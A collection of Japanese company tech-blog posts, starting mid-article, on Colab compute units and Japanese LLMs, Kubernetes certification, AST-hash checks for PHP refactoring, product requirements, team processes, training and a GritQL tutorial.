このプランは、従量課金制ですので「解約忘れによる課金」が発生しません! 「コンピューティングユニット」と呼ばれるリソースを購入し、それを使い切るまで利用できる仕組みです。 これにより GPU の利用上限数をストックできます。 また、利用できる GPU の選択肢が広がります。 GPU の性能は、T4 < V100 < A100 となっていますが、性能が高いほどコンピューティングユニットを多く消費するため注意が必要です。 サクッと LLM を試してみるだけであれば T4 もしくは V100 でも十分だと思います。 各 GPU ごとの1時間あたりのコンピューティングユニット消費量の予測についてはリソース内に情報があるので確認してみてください。 1時間あたり T4 1.96 V100 5.36 A100 13.08 消費量 実際に Pay As You Go を選択し、100 コンピューティングユニットを購入してみました。 プラン選択 購入完了 購入後のリソース状況を見てみましょう。 購入後のリソース状況 コンピューティングユニットが増えていることが確認できますね! ほかにも使ってみる ほかにもいくつか日本語LLMを紹介します!! ELYZA-japanese-Llama-2-7b 株式会社ELYZA様が公開しているLlama 2をベースとした日本語LLMモデル。 GPT-3.5 (text-davinci-003)」に匹敵するレベルを持つとのことです! note.com Youri 7B Llama2 7Bをベースにしたrinna株式会社様の日本語LLMモデル。 400億 トーク ン継続事前学習したモデルとなっており非常に高いスコアが出ていますね! rinna.co.jp houou マネー フォワ ード株式会社様が公開しているYouri7Bに対してチューニングを行ったLLMモデル。 インスト ラク ションデータを使った学習により、回答の精度が大幅に向上したとのことです! corp.moneyforward.com Swallow 東京工業大学 が公開しているLLMモデルで、Llama2が苦手としていた日本語の読み書き性能が大幅に向上したとのことです! パラメータを調整することでオタクっぽくなることがネットでも話題になっていましたね! 東工大 が昨日公開した日本語特化LLM『Swallow』を早速試してる。大学のシンボルマークであるツバメが名前になっているのも感慨深い。 ………これ、どんな深刻な話題もオタク特有のハイテンションな 怪文書 に変形されるんだけど、もしかして日本人を全員オタクにする計画はじめようとしてる…? pic.twitter.com/layDqlnKVL — ヤマゾー@AIエンジニア (@yamazombie1) December 20, 2023 www.titech.ac.jp ここ半年だけでも本当に多くの取り組みがなされていますね! いつかLLMをさくっとローカルで動かせる時代がくれば...なんてのも、実は llama.cpp というLLMがあります。 こちらは確かにCPUだけで動作するので本当にすごいです!! (が、日本語の読み書きがやや弱く返答に中国語が混じったりします...) 2024年もLLMの動向ををウォッチしてどんどん試してみましょう!!
皆さん、こんにちは!もしくはこんばんは! 楽楽精算プロダクトマネージャーの @wekkyyyy です。 前回は「PdMとPMMの役割分担・連携」というテーマで記事をかかせていただきました。 tech-blog.rakus.co.jp 今回は、 楽楽精算のPRD(製品要求仕様書) Agenda というテーマでブログを記載します。 目次は以下となります。 対象読者 前提 楽楽精算のPRD(製品要求仕様書) Agenda(一部) 一番重要と考えるAgenda Contentsサンプル ラクスのPdMとして活躍してみませんか? 対象読者 PRD(製品要求仕様書)を作成する、PdM(PM)・プランナー・PjM等の方々 前提 あくまで楽楽精算ではこうです。のサンプルですので、これが絶対!というものではございません。 会社・プロダクトごとにPdM(PM)等の役割定義は様々です。そのためどこまで書くかはそれぞれです。 楽楽精算のPRD(製品要求仕様書) Agenda(一部) 楽楽精算のPRD Agendaは、以下です。 全部が全部だとかなりの行数になるので、一部とさせてください。 (これの2倍はあります。。。w) Why領域 問題概要(誰のどんな業務にどういった課題があるか) 財務効果( ラク ス側のメリットを記載・可能な限り金額と根拠を記載する) What領域 達成条件(何ができれば本機能の開発目的が果たせるか) 前提/Must/Better 業務への影響 経理 など 立場別 システム運用面 マニュアル 想定反映内容 既存機能への影響 想定コスト 開発コスト システム運用コスト インフラコスト 一番重要と考えるAgenda Why領域 の以下です。 1. 問題概要(誰のどんな業務にどういった課題があるか) 2. 財務効果(ラクス側のメリットを記載・可能な限り金額と根拠を記載する) 理由 Why領域が、間違っている・あやふやだと以下のリスクが発生します。 後続Agendaが、全て見当違いの内容になるリスクがある。 そもそもの課題がまちがっていると、見当違いの検討を進めてしまう。 あやふやな内容だと、達成条件とのつながりが感じられなくなる。 達成条件もあやふやだと、エンジニアの要件定義もずれた内容になる Contentsサンプル 問題概要(誰のどんな業務にどういった課題があるか) のサンプルを載せます。 実際の案件で作成したものです。(改修リリース済みです) こちらは、シンプルなものですが案件によっては、これの何倍も登場人物とActionが複雑になります。。。orz ラク スのPdMとして活躍してみませんか? 楽楽精算PdMは、引き続き人材を募集しております。 是非カジュアル面談からお申し込みいただけると幸いです。 career-recruit.rakus.co.jp
こんにちは、SRE課セトです。 今回はCertified Kubernetes Administrator (CKA)とCertified Kubernetes Application Developer (CKAD)を受験し、合格したためその体験記を共有します。 CKA、CKADとは なぜ受けたか 受験者のスペック 受験するにあたり最低限身につけておいた方が良いこと いつ受験しどのくらい勉強したか 学習に使用したもの Udemy:Certified Kubernetes Administrator (CKA) with Practice Tests Killer.sh Kubernetes.io(公式ドキュメント) Kubernetes完全ガイド その他学習に取り入れてもよいもの Kubernetes The Hard Way 受験環境 場所 機器スペック 試験についてのアドバイス 最速で合格する方法 Kubernetesをある程度経験したことがある方 Kubernetesの経験がほぼない方 注意点 試験方式が昔の試験と若干変わっている 実際に試験を受けて失敗したこと 英語力 リモートデスクトップ環境 やっておいた方が良いこと Aliasの設定 kubectlのワンライナーコマンド 便利なもの 総じて CKA、CKADとは Cloud Native Computing Foundation(CNCF)と Linux Fundationの協力によって作った資格です。 CKAは Kubernetes 管理者の責任を遂行するスキル、知識、および能力を保証する資格 etcdでsnapshotやrestoreの実施方法など学習でき楽しかったです。 CKADは Kubernetes 用の クラウド ネイティブアプリケーションを設計、構築、デプロイできることを証明する資格 Kubernetes でアプリケーションを動かす環境だと、アプリケーション開発者はとっておいて損はない資格かと思います。 なぜ受けたか 世間的にも Kubernetes の利用が増え、これからますます重要性を増していくと感じたためそろそろ本格的に覚えるか〜と思ったことがきっかけです。 また社内でもコンテナ技術を推進しているため、発言により説得力をもたせる意味もありました。 受験者のスペック 27歳文系出身。ほぼほぼアプリの人間。 実務でインフラ設計構築経験は全くなく、 Linux コマンドもよく使用するものしか知りません。 Kubernetes に関する知識は以前社内で行われてた Kubernetes完全ガイド の輪読会に参加して本を1周、遊びで Kubernetes を少し動かしたくらいです。 受験するにあたり最低限身につけておいた方が良いこと LPIC1相当の Linux の知識 Docker等を使用したコンテナ技術の最低限の知識 いつ受験しどのくらい勉強したか CKAは2023年8月13日に受験し合格(学習期間2ヶ月半程度) CKADは2023年8月27日に受験し合格(学習期間2週間程度) 勉強量はCKAまでは平日約2時間程度、土日は約4~5時間程度していました。 ※CKADはほぼCKAと試験内容が被っているため、JobやCronJob、Liveness Probe、Readiness Probeあたり理解していれば合格すると思います。 学習に使用したもの Udemy:Certified Kubernetes Administrator (CKA) with Practice Tests まじでこれだけ完璧にしておけば合格する。 ただ、全て英語であり、字幕で変な日本語に変換されてしまう。 受験者は英語は全くわからないため、音声OFFにしてBGM等聴きながら取り組んでいました。 鉄板だとは思うが、Udemyでセール時に買うべき。間違ってもセールになっていない時に買ってはならない。 Killer.sh バウチャー(試験チケット)を購入すると2回分付いてくる。 模擬試験形式であり、 リモートデスクトップ を利用した実際の試験とほぼ同じような形式で試験できるため、試験慣れするために必ず実施しておくべき。アクティベートすると36時間使える。 実際の試験より難しい。killer.shの問題も難なくとける状態にしておけば本番も間違いなく合格すると思う。 私は試験2,3日前から始めてかなり自信を喪失しました。ただ解けなくても、1,2週して、解けない問題は都度確認することで理解を深めることができました。 Kubernetes.io(公式ドキュメント) 試験本番時に確認できるページの1つ。本番時はほぼこのページを確認しながら取り組むため、 udemy で問題を解きながら公式ドキュメント慣れは必ずしておくべき。 Kubernetes完全ガイド とてもわかりやすく、詳しいため腑に落ちない部分やもっと理解を深めたい時に使用していました。 その他学習に取り入れてもよいもの Kubernetes The Hard Way CKAを受けるのであれば取り組んだ方がより理解が進むと思います。 受験環境 場所 自宅 ベッド、テーブル以外は押入れや別部屋に押し込みました。 機器スペック Macbook Pro 13インチのみ 画面小さくてとても辛かったです。 ※ Linux Foundation は15インチ以上の画面を推奨しているみたいです。 ※ デュアルディスプレイ は禁止しているみたいです。 試験についてのアド バイス 問題数は、15~20問程度であり、完全に解けなそうな問題でも部分点をもらえるため、完全にわからなくても少しでも手をつけた方が良い。 試験中の言語に関しては、「CKA-JP」を選択しても、何度でも英語や日本語に言語変更可能です。(その他言語に変更可能かは忘れてしまいました。すみません。) 最速で合格する方法 Kubernetes をある程度経験したことがある方 killer.sh をまず受けてみる。50%以上採れれば、次の日には合格すると思う。 不安だったら、解けなかった部分のみ udemy で学習すれば問題ないと思う。 Kubernetes の経験がほぼない方 udemy を最速で1,2週する。理解できないワード等は都度調べて潰しておく。 3週目から解けなかった分野、問題のみ実施し解けない問題を潰す。 注意点 試験方式が昔の試験と若干変わっている 他記事では Kubernetes.io の重要部分をブックマークしておいて、試験時にブックマークから確認できるという記事を多々みるがそんなことは一切ない 過去は試験時間が3時間であったが、現在は2時間になっている。 実際に試験を受けて失敗したこと 英語力 試験について調べると「CKADとCKAD-JP」や「CKAとCKA-JP」等、日本語に対応した試験が出てくる。もちろん受験者は英語が全くわからないため、「CKA-JP」を選択した。 試験開始前に試験監督員とチャットコミュニケーションを行い、試験環境として適切な環境か実際に画面に映しながらチェックする。しかし何故かそのチャットコミュニケーションが英語だった。。「CKA-JP」を選択したはずなのに。。 案の定チャットの内容が全く理解できず、チャットで頂いた指示通りに動くことができなかった。そのため画面をブチっと切られてしまい試験終了?になってしまった。 すかさずもう一度チャレンジしてチャット内容はDeepL翻訳で要約したため無事試験を始めることができたが、受験料約5万円払っているためかかなり動揺してしまい、開始10~20分は試験に集中することができなかった。 リモートデスクトップ 環境 試験本番と killer.sh は リモートデスクトップ 上で Windows 環境での試験でした。 killer.sh の時に「Ctrl」+「F」で検索できることを確認したが、試験本番では何故か検索することができなかった。 Kubernetes.io で欲しい情報がなかなか取得することができず、苦戦した。 また何故か日本語変換ができず、(僕だけ?) Kubernetes.io 上での左の検索バーからの検索も全て英語のみになってしまい、苦戦した。 やっておいた方が良いこと Aliasの設定 alias k=kubectl は素直にやっておいた方がよい。少なからず私にとって2時間という試験時間はとても短く感じたため、少しでも時間短縮するべき kubectlの ワンライナー コマンド いくつかの ワンライナー を覚えて yaml ファイルの雛形を生成するべき 便利なもの kubectlチートシート 総じて 資格を取ることによって実務で即戦力とまではいきませんが、課内でのお話の内容はある程度理解できるようになりました。 学習途中は覚えることが多すぎて折れそうになりましたが、めげずに毎日継続することで無事合格することができました。 無理に覚えようとはせず毎日学習し続ければ、経験がない方も取得できる資格だと思います。 また、受験費用計10万ほど(CKA,CKAD合わせて)は会社が負担してくれたため、感謝しかないです!
この記事は PHP Advent Calendar 2023 6日目の記事です。 こんにちは、配配メール開発エンジニアの takaram です。 私のチームでは、最近行った リファクタリング や PHP バージョンアップ対応において、あえて 修正したコードをテストしない という対応を取ることがありました。この記事ではこれについてお話しします。 テストしないでリリースする方法 使いどころ 一括コードフォーマット ${}による文字列補間の修正 やり方 最後に テストしないでリリースする方法 いきなりネタバレしてしまうと、これはモノタロウさんのテックブログで紹介されていた以下の記事のn番煎じです。 tech-blog.monotaro.com 要約すると「コードの修正前後で抽象 構文木 (AST) が変化しなければ、コードの動作も変わらないはずなのでテスト不要と判断できる」ということです。 元記事は Python でやっていますが、考え方自体は他の言語でも使えるので、実際に PHP でやってみたという記事もあります。 モノタロウさんがすごいなと思ったのでphp-astを試してみた #PHP - Qiita 「PHPのファイルに差分があるかを(astを使って)調べる君」を書いた - 大好き!にちようび 上記2記事は拡張モジュールの php-ast を利用していますが、拡張モジュールのインストールは面倒であることが多いので、今回は PHP-Parser を使うことにします。 なお、これ以降「ファイルの ハッシュ値 」という表現を「 PHP プログラムのASTの ハッシュ値 」という意味で使います。 使いどころ 一括コードフォーマット PHP _CodeSnifferや php -cs-fixerでプロジェクト全体に自動修正をかけた場合、対象ファイルが数千を超えることもあります。これを全て手動でテストするのは非現実的でしょう。 インデントや 演算子 の周りの空白の修正であればASTには影響がないため、この手法を使うことができます。 ${} による文字列補間の修正 PHP8.2で "${var}" 形式で文字列に変数を埋め込む文字列補間が非推奨になりました。 まだ使えなくなるわけではないですが、 "{$var}" 形式に書き換える必要があります。 これら2つの文字列は同等のASTが出力されるため、ASTの ハッシュ値 が変わりません。 やり方 まず適当な ディレクト リに、ファイルの ハッシュ値 を出力する スクリプト を作ります。ファイルはこんな感じです。 <?php declare ( strict_types = 1 ) ; use PhpParser\NodeDumper; use PhpParser\ParserFactory; require_once __DIR__ . '/vendor/autoload.php' ; $ parser = ( new ParserFactory ) -> create ( ParserFactory :: PREFER_PHP7 ) ; $ dumper = new NodeDumper () ; foreach ( array_slice ( $ argv , 1 ) as $ file ) { try { $ ast = $ parser -> parse ( file_get_contents ( $ file )) ; } catch ( Error $ error ) { echo "Parse error: { $ error -> getMessage() }\n " ; exit ( 1 ) ; } $ hash = md5 ( $ dumper -> dump ( $ ast )) ; echo " { $ hash }\t{ $ file }\n " ; } 以下では、このファイルを /tmp/php-ast-diff/ast_md5.php に置いているとして進めます。 次に、nikic/ PHP -Parserをインストールします。バージョンはv4.x系を利用します。 $ cd /tmp/php-ast-diff $ composer require nikic/php-parser:'^4.17' ここまでで準備は完了です。試しに、 ast_md5.php 自身の ハッシュ値 を出力させてみましょう。 以下のように出力されると思います。 $ php ast_md5.php ast_md5.php 7042836d533afb828822f59454abb39f ast_md5.php これ以降は、 ハッシュ値 を計算したいファイルのある リポジトリ で作業します。 また、mainブランチからrefactorブランチを切ってコードを修正したと仮定します。 まず、修正したファイルを一覧で出しておきます。 $ git diff --name-only main...refactor > changed_files 次に、修正前のファイルの ハッシュ値 を出力します。 mainブランチ上だと、refactorブランチ作成後にマージされた他の変更が入っている場合があるため、ブランチの分岐の根元に当たるコミットにチェックアウトします。 $ git checkout "$(git merge-base main refactor)" $ xargs php /tmp/php-ast-diff/ast_md5.php < changed_files > hash_before 次に修正後のファイルの ハッシュ値 を出力します。 $ git checkout refactor $ xargs php /tmp/php-ast-diff/ast_md5.php < changed_files > hash_after 最後に hash_before と hash_after をdiffコマンド等で比較し、差分がなければ ハッシュ値 が変わっていないと分かります。 最後に 特に ユニットテスト が十分にないプロダクトでは、 リファクタリング は往々にして大変になりがちです。 今回紹介した方法であればすぐにでも取り入れられるので、ぜひ活用してみてください!
こんにちは。配配メール開発課のwnwtt17です。 今回は配配メールチームの要件定義の進め方についてお話ししようかなと思います。 少し前に要件定義の進め方を変更し、とても作業を進めやすくなったので参考になればと思います。 今までの進め方 新しい進め方 エンドユーザーの気持ち…? 最後に 今までの進め方 配配メールチームではエンジニアとデザイナーが協力して要件定義を進めています。 作業の流れは以下の通りです。 ①エンジニア側で要求仕様の理解 ②要件定義書に落とし込んでいく ③デザイナーにUIの作成を依頼 しかし、この流れだとどうしてもエンジニア主体になってしまい デザイナー的な視点(UXの観点など)がなかなか取り入れづらいという状態でした。 新しい進め方 エンジニア・デザイナー両方の視点を取り入れていきたかったので 少し前に以下の進め方に変えてみました。 ①エンジニア・デザイナーともに要求仕様の理解 ②それぞれで作業を進めていく ・エンジニア:開発的な視点で、どういう機能が必要かなどを考えていく ・デザイナー:UI的な視点でペルソナやユーザーストーリーを考えていく ③お互いの成果物をすり合わせる ④デザイナー側ですり合わせた成果物をもとにUIを検討する ⑤作成してもらったUIをもとに要件定義書を作成していく 上記の流れに変えたことによって、良かった(助かった)点があったので紹介しようと思います。 エンドユーザーの気持ち…? 上記の進め方に変更後、初めての案件がなかなかの強敵でした。 その案件では、配配メールを利用するお客様だけではなく、 その先のエンドユーザーの視点でもUIを検討する必要がありました。 今までは、配配メールを利用するお客様のみが利用する機能ばかりだったので エンドユーザー的な使いやすさなどがエンジニア側では分からない状態でした。 しかし、デザイナーが要求仕様からどんどん参加してくれるようになったので 特に困ることもなく、UIの作成がスムーズに進んだのでとても助かった記憶があります。 また、ペルソナやユーザーストーリーをきちんと作成してもらったので 今まで気付けなかった視点(この操作はユーザーには難しすぎるんじゃないか?など)も盛り込むことができ、 より良い要件定義になったと感じています。 最後に やり方をガラッと変えたことにより、最初はうまく進まなかったところもありましたが、 お互いがサポートし合うことによって、よりよい要件定義を完成させることができたと思っています。 はじめての案件で作成した機能がもうすぐリリースされるので、 多くの人に「使いやすい」と思ってもらえるといいなと今からワクワクしています。 最後まで読んでいただきありがとうございました。
目次 目次 概要 メールディーラー開発課の紹介 メールディーラーについて 開発体制 配属後研修で身に着けるスキル 研修に使う技術書 課題図書 トレーナーとして気を付けたこと 必要知識の共有 質問し易い雰囲気作り 配属後研修完了後のスキル支援体制 まとめ 概要 この記事は新卒社員のメールディーラー開発課配属後研修の実施内容について書かれています。 ラク スでは技術職の新卒メンバーは入社後3ヶ月間の東京研修(以下入社後研修)を経て、7月より現場に配属されます。 メールディーラー開発課では配属後、約1ヶ月ほどの研修(以下配属後研修)や OJT を通して現場で必要な知識や経験を獲得し、業務を遂行していきます。 メールディーラー開発課の紹介 そもそもメールディーラーについて詳しく知らない方もいらっしゃるかと思うので、簡単にプロダクトの紹介とメールディーラー開発課の体制について説明します。 メールディーラーについて メールディーラーとはメール共有・管理を行うシステムです。 詳しくはこちらを参照ください。 www.maildealer.jp 開発体制 メールディーラー開発課は総勢13名(2023年11月現在)で、要件定義を行う上流チーム2名、概要設計からテストを行う実装チーム7名と、問い合わせ対応や運用業務を行う運用サポートチーム3名で構成されています。 今年の7月より新たに新卒メンバーが実装チームに配属され、同じく実装チームの新卒二年目である私が教育係に任命されました。 配属後研修で身に着けるスキル 入社後研修では、プログラミングの基礎から フレームワーク 、 SQL などWeb開発を行うにあたって必要な基礎知識を身に付けます。 一方配属後研修では、現場で必要な知識を習得します。主な学習内容としては以下になります。 PHP Laravel プロダクトの理解 コーディング規約 ソフトウェアテスト の基礎 模擬修正課題 メールディーラーは PHP により実装されているため、 PHP とLaravelについて書籍を通して学習を行い、理解した内容を課長と教育担当(私です)に向けて発表します。 次に、プロダクト(メールディーラー)についての理解を深めます。具体的にはシステムの概要、マニュアル、 アーキテクチャ や 開発プロセス の理解を行います。 ソフトウェアテスト の基礎について学習も行います。こちらも書籍でホワイトボックス・ ブラックボックステスト について学習し、発表してもらいます。その後、 ブラックボックステスト 作成の模擬課題を通して理解を深めます。 最後に実際のメールディーラーの ソースコード を精読してもらい、演習課題を実装してもらいます。演習課題では、機能開発や PHPUnit による自動テストの開発を行い、より現場に近い内容を実施します。 また、これらの研修の合間の時間を使い、新卒課題図書の読書や社内スキルテストの受験を行ってもらいます。 課題図書は、指定された技術書やビジネス書から三冊を選び、読了後発表してもらいます。 社内スキルテストは Linux の基礎、 SQL の基礎、Webの基礎の三項目あり、これらを合格するまで受験してもらいます。 以上が新卒社員の配属後研修となります。配属後研修後は簡単なバグ修正等の OJT を経て徐々に難易度の高いタスクを実施していきます。 研修に使う技術書 書籍: オライリー :初めての PHP 書籍: PHP 入門 PHP フレームワーク Laravel Webアプリケーション開発 課題図書 エンジニアを説明上手にする本 人を動かす なぜ、あなたの仕事は終わらないのか スピードは最強の武器である すぐやる! 「行動力」を高める“科学的な"方法 学びを結果に変えるアウトプット大全 脳のパフォーマンスを最大まで引き出す 神・時間術脳のパフォーマンスを最大まで引き出す 神・時間術 ライト、ついてますか ? 達人 プログラマー 伝え方が9割 Team Geek マインドセット 「やればできる! 」の研究 1分で話せ (1分で話せ 世界のトップが絶賛した大事なことだけシンプルに伝える技術) ロジカル・プレゼンテーション トレーナーとして気を付けたこと 去年は自身が教育を受ける側だったこともあり、その経験を活かせた点をご紹介します。 必要知識の共有 メールディーラーは歴史が長いサービスということもあり研修では触れられていないけれども事前に知っておかないと躓くポイントが結構あります。 去年の私も例外なく躓きました。そのため、今回の研修では思いつく限りの躓きポイントを事前に伝えました。 また、理解が難しい複雑な仕様についても、詳細な説明をしました。これにより、勘違いなどによる間違った実装を防ぐことができたと思っています。 質問し易い雰囲気作り やはり教育係としては、一人で抱え込むより早めに質問・相談してもらった方が リカバリ ーが効きやすく助かります。 しかしながら、最初のうちはなかなか積極的に質問しづらいものだと思います。 なので、最初のうちは適宜雑談をしたり、定期的に進捗の確認を行ったりと、質問し易い関係性・雰囲気作りを意識しました(忙しいときは話しかけづらいオーラが出ていたかもですが)。 配属後研修完了後のスキル支援体制 配属後研修を完了後も新卒メンバの学習は続きます。 プロダクトのコード精読、メール プロトコル 学習、セキュリティ学習、DB学習、 OSS -DB Silver受験などを業務と並行して実施します。 また、二年目からは中堅エンジニア育成カリキュラムを通して継続的な成長を支援する仕組みがあります。 これにより、概要設計や 結合テスト 、負荷テストの実施など業務の幅を広げることができます。 まとめ 本ブログでは、 ラク スのメールディーラー開発課における新卒メンバーの研修についてご紹介しました。 ラク スでは、入社後研修、配属後研修、 OJT を通して、実務に必要な知識と経験を着実に築いていきます。更に、研修終了後も学習タスクが設けられ、二年目以降は中堅エンジニア育成カリキュラムにも取り組むことができ、自身が担当できる業務の幅を広げていくことが可能です。 ラク スでは、持続的な学びと成長が支援され、エンジニアとしてのスキル向上が継続的にサポートされています。 本記事を最後までお読みいただき、どうもありがとうございました。
皆さん、こんにちは!もしくはこんばんは! 楽楽精算プロダクトマネージャーのwekkyyyyです。 前回は「PBIの優先度設定方法のポイントと設定することの狙い」というタイトルで記事をかかせていただきました。 tech-blog.rakus.co.jp 今回は、 PdMとPMMの役割分担・連携 というテーマでブログを記載します。 目次は以下となります。 対象読者 前提 背景 基本方針 決定方法 決定内容(一部分) (やってみて)メリデメ ラクスのPdMとして活躍してみませんか? 対象読者 以下のような方に読んでもらえると有益 になると考えております。 PdMっぽい人とPMMっぽい人がいるけど、実際何をしたらいいかまったくわからない PdMとPMMって役割は分かれてるけど業務に カニ ばりがある PdMとPMMの協業は、うまくいってるけど型化、横展開はできてない 前提 基本的に筆者はPdMを以下の役割と捉えています。 プロダクトの成長のために穴を埋める人 今の ラク ス(楽楽精算)での分担です。 各会社、プロダクトによって分担内容は変わります。 背景 PdM組織が立ちあがるまでは、以下の図のように事業サイドのPMMがPdMの役割を兼務していた状態でした。 しかし、事業サイドのカバー範囲が広くなっており、 必要時間・得意領域の不一致により質の確保が難しいリスクを抱えている状態でした。 そのため、以下のように開発サイドにPdM組織が立ち上がり、役割分担をすることで質・量ともに(優先度としては質)あげていくことを組織として決断しております。 基本方針 PdM/PMMメンバーのリソース・スキルセットを鑑みて決定する。 ということを基本方針として決めております。 決定方法 「DACI」という フレームワーク を使用して決定しました。 DACIとは、「Driver(推進者), Accountable(責任者), Consulted (相談先), Informed (報告先)」の頭文字をとったものです。 このDACIの役割を「Output」「工程」と紐づけて割り当てていきました。 ※割り当て内容は、PdM/PMM協議の上決定しております。 D: Driver (推進者) 特定のタスクを推進し、実行に責任を持ちます。 A: Accountable (責任者) 最終的な意思決定者または承認者となり、タスクの成功に責任を負います。 C: Consulted (相談先) Driver (推進者)から、必要な追加情報や詳細についての相談・実行を受ける人またはチームを指します。 I: Informed (報告先) 進捗や、決定内容について、報告・共有を受ける人を指します。 決定内容(一部分) 以下画像にて、決定内容の一部分を公開いたします。 より詳細な内容は、言える範囲でカジュアル面談・選考で会話させていただけるとありがたいです。 基本的には、 PRDを作成するための必要要素については、マーケット情報の収集をPMM、その他をPdMが「D」としています。 その他、GoToMarketに関わる部分は、PMMを「D」にしています。 (やってみて)メリデメ メリット PdM/PMMそれぞれの得意領域に専念できるようになった 得意な人のOutputから、それ以外の人も学習の機会を持てるようになった 業務効率もアップした 後続作業の担当者からの質問事項が、より深い領域のものになった(組織としてのクオリティアップ) ジョブディスクリプションが明確になった 採用において、社内やエージェントの方など共通言語ができ相互理解に寄与した デメリット (世の中に稀にいる)事業の成長に対して、なんでも穴を埋められるPdMキャリアを歩むことは難しい 筆者は、なんでも自分ひとりで行う必要はないと考えているが、一定目指したい方はいると想定 ラク スのPdMとして活躍してみませんか? 楽楽精算PdMは、引き続き人材を募集しております。 是非カジュアル面談からお申し込みいただけると幸いです。 career-recruit.rakus.co.jp
こんにちは。フロントエンド開発課の koki _matsuraです。 今回はX(旧 Twitter )で話題になっていた ポスト(旧ツイート) を見て、実際にGritの チュートリアル を通して触ってみたので、備忘録的な感じで軽くGritの概要やクエリ言語であるGritQLの基礎的な構文を紹介させていただきます。 目次は以下のようになっています。 Gritとは GritQLとは チュートリアル コードの検索 メタ変数 コードの変換 条件付き変換 パターン修飾子 パターンの再利用 終わりに Gritとは ソフトウェアのメンテナンスを簡潔にしてくれるツールです。 具体的には対象のコードを目的のコードベースの状態に変換してくれるものです。 Gritの大部分は静的解析によるコード操作を可能にするクエリ言語であるGritQLと変換を目的のコードベースのルールに適用させるAIにより構成されています。 現在はベータバージョンです。 www.grit.io GritQLとは GritQL言語とはコードの検索と変換のためのGritのクエリー言語です。 少ない行数のクエリで複雑な変換を可能としています。 チュートリアル ここからは実際にGritQLを チュートリアル を通して触っていきたいと思います。いろいろなクエリが書かれています。Patternsの最初の例を見てみましょう。 下の画像にある「Run Pattern」を押すとその例のクエリが書かれたエディタが右に出てきます。 エディタの上がGritQLで下がインプットのコードです。 また、もう少し大きいエディタで書きたい場合は右上のリンクからStudioを使いましょう。 初期画面にはデフォルトで何かのクエリが書いてあるかもしれませんが、消せば問題なく自由に書くことができます。 インプットのコードも自由に編集可能です。 コードの検索 最初は console.log("Hello world!") の例を見てみましょう。 この例はシンプルでインプットのコードの中から console.log("Hello world!") を検索しています。 例えば、 console.log(42) に書き換えてみましょう。すると、インプットコードの反応する部分が変わります。 非常に簡単に検索ができます。しかしながら、一つ注目するべきなのはコードには反応していますが、 コメントには反応しない ことです。これはGritQLが単純な文字列マッチングでなく、 JavaScript として機能しているものに反応する ということです。 なので、以下のようなコメントではない文字列の場合もJSではないので反応しません。 `Hello world!` しかし、単純に文字列を検索したい時もあると思います。そのような時は、 "" で囲むことで任意の文字列検索をできます。 メタ変数 メタ変数とは特に意味のない変数のことです。特に日本では hoge や fuga が有名だと思います。 先ほどの console.log("Hello world!") の例ではコンソールの中身が「 Hello world !」でないと反応しません。これでは実用性は低いです。 そこでメタ変数を使いましょう。使い方は以下のようにします。 console .log ( $message ) これでコード上の console.log をキャッチできます。 GritQLでメタ変数を使うためにはマッチさせたい部分を好きな変数名にして先頭に $ マークをつけるだけです。 コードの変換 検索もですが、変換をできるところがGritQLの目玉機能となっています。 やり方はシンプルで、 変換したい値 => 変換後の値 です。 以下の例では JavaScript の var を const に置き換えるものです。 var を文字列として検索しています。 "var" => `const` 結果は以下のようにvarをconstに書き換えられています。 条件付き変換 変換に対して条件を設けるのも簡単です。 SQL と同じで where句 を使います。 例えば、実用性は低めですが、特定のconsoleだけをalertにしたい場合は以下のようにします。 `console.log($message)` => `alert($message)` where { $message <: `"これをalertにする"` } <: はマッチ 演算子 といい、 $message が "これをalertにする" と一致するかを見ています。 結果は以下のように「これをalertにする」以外のconsoleは書き換えられていません。 GritQLでは where だけでなく、 or や and なども使えます。 例えば、以下のクエリは公式が出している「Non-strict == => strict ===」です。orとwhereを使った実用的なものです。 or { `$x == $y` => `$x === $y` , `$x != $y` => `$x !== $y` } where { $y <: not `null` } この例では等価・不等価 演算子 を厳密等価・不等価 演算子 に変換をしています。条件として、比較の右側が null ではない時のみになります。 結果は以下のように $y == null 以外は厳密等価・不等価 演算子 に変換されています。 パターン修飾子 パターン修飾子というのは先ほど使った and や or などのマッチング方法を変換するもののことを言います。 単体で使うのではなく、複数を組み合わせることでより柔軟に対応することができます。 公式の「Function expressions to arrow functions」を例に取ります。 これは名前からもわかると思いますが、関数の書き方を変換するものです。 or { `function ($args) { $body }` => `($args) => { $body }` where { $body <: not contains { or { `this` , `arguments` } } until `function $_($_) { $_ }` } , `($args) => { return $value }` => `($args) => $value` } 今までの例と比べるとかなり複雑に見えますが、少しずつ解釈していけば難しくありません。 1行目の or はコードから function ($args) { $body } か ($args) => { return $value} のどちらかに当てはまるものを抽出してきています。 ($args) => { return $value} に関しては以下のように ($args) => $value に変換しているだけです。 function ($args) { $body } の方は ($args) => { $body} に変換するのですが条件をつけています。 この条件の中で contains と until が新しく出てきます。それぞれ説明します。 contains : 特定のパターンを含んでいるかどうかをチェックします。今回の場合は $body の中に this または arguments を含んでいないことが条件となっています。 until : contains と共に用いるもので、パターンチェックをどこまでするのかを決められます。今回の場合では、 function $_($_) {$_} にマッチする構文にぶつかるまでパターンチェックを行うように設定しています。 ちなみに、 $_ は匿名メタ変数といい、 ワイルドカード 的な感じで使うものです。 $body <: not contains { or { `this` , `arguments` } } until `function $_($_) { $_ }` よって、上記のパターンは関数の処理の中で function $_($_) { $_ } にぶつかるまでに this または arguments を含んでいないことを条件に持ちます。 結果は以下のようになります。 rememberは function $_($_) { $_ } がそもそもないので、関数の処理内容全体がcontainsの対象となり、thisを含んでいるため変換されていません。 sumToValueはthisがありますが、 function $_($_) { $_ } の中にあり、containsの対象にはならないため変換されています。 パターンの再利用 GritQLのクエリも他の プログラミング言語 の関数同様に再利用したいことがあります。 そのような時は、パターンとして定義しましょう。書き方は pattern ${パターン名} (${引数}) { ${クエリ} } のような書き方をします。 例えば、console.logを消すパターン「delete_console_log」は以下のように作成できます。 pattern delete_console_log () { `console.log($message)` => . } 作成したパターンは関数実行と同様に delete_console_log() で使えます。 console.logのみが消されていることも以下から確認できます。 一部省いたものもありますが、以上が チュートリアル で紹介されているものでした。 終わりに 今回はGritQLを触ってみました。 クエリでコードを一気に変換できるのはとても魅力的ですよね。まだベータバージョンなのですが、できることが非常に多くて楽しいです。 機会があれば、応用編としてGritQLで実務にも使えそうなカスタムパターンを作って、記事を書きたいと思うので、期待していただけると幸いです。 また、 チュートリアル では紹介しきれなかったパターンや条件 演算子 などもあるので、 公式のドキュメント を読むことをお勧めします。 最後まで読んでいただきありがとうございました!
